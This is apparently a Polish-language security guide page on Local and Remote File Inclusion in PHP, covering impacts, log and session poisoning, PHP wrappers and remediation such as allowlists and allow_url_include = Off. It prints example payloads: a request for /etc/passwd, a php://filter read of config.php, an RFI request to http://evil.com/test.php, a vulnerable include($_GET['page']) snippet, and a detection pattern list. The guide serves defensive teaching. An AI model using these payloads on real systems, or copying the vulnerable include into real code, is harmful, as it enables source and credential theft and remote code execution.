Przejdź do treści

File Inclusion (LFI & RFI)

File Inclusion to grupa podatności występujących, gdy dane kontrolowane przez użytkownika wpływają na wybór pliku dołączanego lub przetwarzanego przez aplikację bez odpowiedniego ograniczenia do zaufanych zasobów:

  • Local File Inclusion (LFI) - wczytanie lokalnego pliku znajdującego się na serwerze,
  • Remote File Inclusion (RFI) - wczytanie pliku z zewnętrznego serwera kontrolowanego przez atakującego.

Skutki udanego ataku

Udany atak File Inclusion może prowadzić do:

  • nieautoryzowanego odczytu lokalnych plików, w tym kodu źródłowego, konfiguracji, kluczy i danych uwierzytelniających,
  • ujawnienia danych aplikacji i informacji dostępnych dla procesu,
  • wykonania kodu na serwerze w przypadku RFI lub połączenia LFI z dodatkowymi technikami,
  • modyfikacji lub usunięcia danych, jeżeli pozwalają na to uzyskane uprawnienia,
  • przejęcia kontroli nad aplikacją lub hostem, jeżeli pozwalają na to uprawnienia procesu,
  • wykorzystania przejętego hosta do uzyskiwania dostępu do kolejnych systemów w sieci wewnętrznej.

Local File Inclusion

Podatność Local File Inclusion (LFI) umożliwia atakującemu wymuszenie na aplikacji wczytanie oraz przetworzenie lokalnych plików znajdujących się na serwerze, które pierwotnie nie miały być dostępne dla użytkownika. Sytuacja najczęściej występuje w aplikacjach, które dynamicznie pobierają pliki na podstawie wartości dostarczonych przez użytkownika, np. poprzez parametry w adresie URL lub dane przesyłane w formularzach. Jeżeli aplikacja nie kontroluje odpowiednio tych wartości, atakujący może manipulować ścieżką pliku i uzyskać dostęp do nieautoryzowanych zasobów systemowych.

Przykładem może być sytuacja, w której aplikacja umożliwia wybór strony do wyświetlenia:

https://example.com/index.php?page=home

Jeżeli parametr page nie jest odpowiednio zabezpieczony, atakujący może próbować odwołać się do lokalnych plików systemowych:

https://example.com/index.php?page=/etc/passwd

W zależności od konfiguracji serwera skutkiem może być ujawnienie zawartości plików zawierających poufne informacje, takich jak konfiguracje aplikacji, dane dostępowe lub informacje o środowisku systemowym.

Uwaga!

Sama podatność LFI zazwyczaj pozwala przede wszystkim na odczyt lokalnych plików. W określonych warunkach może jednak zostać połączona z innymi technikami i doprowadzić do wykonania kodu na serwerze.

W szczególności niebezpieczne są scenariusze takie jak:

  • Log Poisoning - atakujący umieszcza złośliwy kod w pliku logów serwera (np. poprzez nagłówki HTTP), a następnie wykorzystuje LFI do wczytania tego pliku. Jeżeli aplikacja przetworzy zawartość logu jako kod, może dojść do jego wykonania.

  • Session Poisoning - atakujący manipuluje danymi zapisanymi w plikach sesji użytkowników, a następnie wykorzystuje LFI do ich załadowania przez aplikację.

  • Wrappery PHP - w aplikacjach napisanych w PHP atakujący może wykorzystać specjalne strumienie, takie jak php://filter, php://input czy data://. Pozwalają one m.in. na odczyt kodu źródłowego plików aplikacji, np. wywołanie ?page=php://filter/convert.base64-encode/resource=config.php zwraca treść pliku config.php zakodowaną w Base64. Kodowanie Base64 jest tu kluczowe, plik config.php, gdyby został włączony bezpośrednio (bez filtra), zostałby wykonany przez silnik PHP jak zwykły skrypt, a atakujący zobaczyłby jedynie efekt jego działania (często pustą stronę), a nie sam kod źródłowy. Filtr convert.base64-encode sprawia, że zawartość pliku jest traktowana jako czysty strumień danych do zakodowania, a nie jako kod do interpretacji, dzięki temu PHP nigdy go nie wykonuje, a atakujący otrzymuje w odpowiedzi zakodowaną, ale czytelną treść źródłową pliku. Odczytany kod źródłowy ułatwia identyfikację kolejnych podatności, a w sprzyjających warunkach może prowadzić do RCE.

Remote File Inclusion

Podatność Remote File Inclusion umożliwia aplikacji pobranie i wykonanie pliku kontrolowanego przez atakującego z zewnętrznego źródła. W praktyce może prowadzić to bezpośrednio do wykonania dowolnego kodu na serwerze z uprawnieniami procesu aplikacji. Ze względu na możliwość natychmiastowego przejęcia kontroli nad podatnym systemem podatność ta jest zwykle klasyfikowana jako krytyczna.

Przykład podatnego kodu:

$page = $_GET['page'];
include($page);

Jeżeli aplikacja bezpośrednio przekazuje parametr użytkownika do include() i środowisko PHP pozwala na dołączanie plików ze zdalnych adresów, może dojść do podatności typu RFI.

Atakujący umieszcza złośliwy plik na kontrolowanym przez siebie serwerze http://evil.com/test.php, a następnie przekazuje jego adres jako wartość parametru page:

GET /index.php?page=http://evil.com/test.php

W przypadku konfiguracji umożliwiającej zdalne dołączanie plików aplikacja może potraktować wskazany adres jako plik do dołączenia:

include("http://evil.com/test.php");

W efekcie zawartość wskazanego pliku może zostać wykonana w kontekście aplikacji. Taki scenariusz może prowadzić do zdalnego wykonania kodu (RCE).

Współczesne realia RFI

Dyrektywa allow_url_include jest domyślnie wyłączona od wersji PHP 5.2 i oznaczona jako przestarzała od PHP 7.4, dlatego klasyczny RFI występuje obecnie stosunkowo rzadko. Nie oznacza to jednak, że można go zignorować. Dyrektywa allow_url_include powinna zawsze pozostać wyłączona, a dane wejściowe użytkownika nigdy nie powinny trafiać bezpośrednio do funkcji dołączających pliki.

Rekomendacje:

Aby ograniczyć ryzyko występowania podatności należy:

  • unikać dynamicznego ładowania plików na podstawie danych użytkownika. Najczęstszą przyczyną podatności LFI i RFI jest bezpośrednie wykorzystanie danych wejściowych użytkownika w funkcjach takich jak include(), require(), include_once() czy require_once(),

  • umożliwiać ładowanie wyłącznie wcześniej zdefiniowanych zasobów. Podejście oparte na allowliście jest znacznie skuteczniejsze niż próby blokowania niebezpiecznych znaków lub ciągów, przykład:

    $allowed = ['home', 'about', 'contact'];
    if (!in_array($page, $allowed)) {
        die("Invalid page");
    }
    
  • wyłączyć funkcje umożliwiające ładowanie zasobów przez HTTP lub HTTPS. Zapobiega to wykorzystaniu adresów URL jako źródeł dla funkcji include/require. Przykład pliku php.ini:

    allow_url_include = Off
    
  • walidować ścieżki plików, jeżeli aplikacja musi operować na plikach wskazywanych przez użytkownika, ścieżki powinny być normalizowane przed użyciem. Pozwala to wykryć próby wykorzystania sekwencji ../ oraz innych technik Path Traversal wykorzystywanych często razem z LFI,

  • ograniczyć dostęp aplikacji do systemu plików - proces aplikacji powinien posiadać dostęp wyłącznie do katalogów niezbędnych do działania. Należy ograniczyć dostęp między innymi do plików systemowych, katalogów administracyjnych, logów innych usług oraz plików zawierających dane uwierzytelniające. Zasada najmniejszych uprawnień znacząco ogranicza skutki ewentualnego wykorzystania podatności,
  • należy przechowywać pliki aplikacyjne poza katalogami dostępnymi dla użytkownika. Pliki konfiguracyjne, sekrety aplikacyjne oraz dane uwierzytelniające powinny znajdować się poza katalogami, które mogą zostać wskazane przez użytkownika lub udostępnione przez serwer WWW, przykłady:

    .env
    config.php
    database.yml
    application.properties
    
  • ograniczyć możliwość interpretacji plików przez silnik aplikacji. Jeżeli aplikacja ładuje pliki wyłącznie w celu odczytu danych, należy korzystać z funkcji odczytu plików zamiast mechanizmów wykonujących kod,

  • zabezpieczyć logi i pliki sesji. W wielu przypadkach LFI prowadzi do RCE poprzez: Log Poisoning, Session Poisoning, Upload + Inclusion. Należy oddzielić katalogi zawierające szablony i inne dołączane pliki od katalogów przechowujących logi, sesje oraz pliki przesłane przez użytkowników. Aplikacja powinna dołączać wyłącznie pliki pochodzące ze ściśle określonego katalogu lub mapowania. Uprawnienia powinny uniemożliwiać procesowi aplikacji odczyt plików, które nie są wymagane do jej działania,
  • wdrożyć mechanizmy monitorowania próby wykorzystania charakterystycznych wzorców:

    ../
    ..\
    /etc/passwd
    http://
    https://
    php://
    data://